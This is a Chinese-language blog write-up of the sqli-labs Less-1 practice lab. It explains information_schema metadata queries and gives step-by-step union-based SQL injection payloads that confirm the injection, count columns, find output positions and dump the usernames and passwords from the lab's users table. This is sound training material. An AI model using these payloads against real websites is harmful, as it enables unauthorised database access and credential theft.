:

sqli-labs less-1

相关知识

Mysql5.0之后的版本,数据库里面会默认存放一个information_schema的库,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。

这里我总结了一些关于利用information_schema库进行SQL注入的模板(不是很全面,求各位大佬轻喷)

1、查看所有库的库名

select group_concat(schema_name) from information_schema.schemata

2、查看数据库下面的所有表(以mydb为例)

select group_concat(table_name) from information_schema.tables where table_schema='mydb'

3、查看数据库下面某个表的所有字段(以数据库mydb下的table表为例)

select group_concat(column_name) from information_schema.columns where table_name='table'

4、查看mydb库table表下username字段的值

select group_concat(username) from mydb.table

解题过程

1、添加代码方便查看执行的SQL语句(此处可以省略)

由于本人菜鸡一只,于是参考了网上的一些方法来让执行的SQL语句显示在页面上,方便学习。打开第一关的代码,将一下代码添加到执行的SQL语句下面(如下图所示)

echo $sql;
echo "<br>";


这样我们就可以在屏幕上回显我们输入的SQL语句

2、判断注入类型

使用hackbar在url后面输入如下内容:

?id=1

可以看到回显正常

尝试在id=1后面加个',如下:

?id=1'

可以看到SQL语句报错,没有闭合成功

尝试在id=1'后面加个注射,如下(以--+为例):

?id=1'--+

可以看到回显正常

其实从一开始网页回显的SQL语句中可以看到变量id是采用'闭合的,当输入为?id=1'时,相当于id='1'',没有闭合成功,所以报错,可以从报错信息中得到其正确的闭合方式,这里判断是字符型注入。以上步骤只是为了演示如何在未知SQL语句的情况下对注入类型的判断。

3、判断数据表有多少列

这里我们可以使用order by来判断数据表的列数,如下

?id=1' order by 1--+

回显正常,结果如下:

?id=1' order by 2--+

回显正常,结果如下:

?id=1' order by 3--+

回显正常,结果如下:

?id=1' order by 4--+

回显错误,结果如下:

所以,可以判断该数据表的列数为3。

4、判断回显位置

使用union函数,union函数使用的前提就是必须字段数要跟前面的字段数相同,此外,还需要使id的值不存在如负数或者为零,否则id查询的结果覆盖我们想要的回显内容。

?id=-1' union select 1,2,3--+

执行结果如下,可以看到2,3位置是有回显的,1是没有回显的。然后我们只需在2,3位置输入我们想要查询的数据即可。

5、查看当前数据库和当前用户

?id=-1' union select 1,database(),user()--+

执行结果如下

得到当前数据库的名字为security。

6、查看当前数据库下的所有表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),user()--+

执行结果如下

得到当前数据库下的所有数据表,接下来我们以users表为目标进行查询

7、查users表下的所有字段的字段名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),user()--+

执行结果如下:

可以看到有username,password字段,我们以这两个字段为目标继续查询

8、查username和password的值

?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

执行结果如下:

可以看到我们已经成功获取了当前数据库里users表里的username与password。

总结

以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!

posted @ 2022-04-26 21:46  LY613313  阅读(42)  评论(0编辑  收藏  举报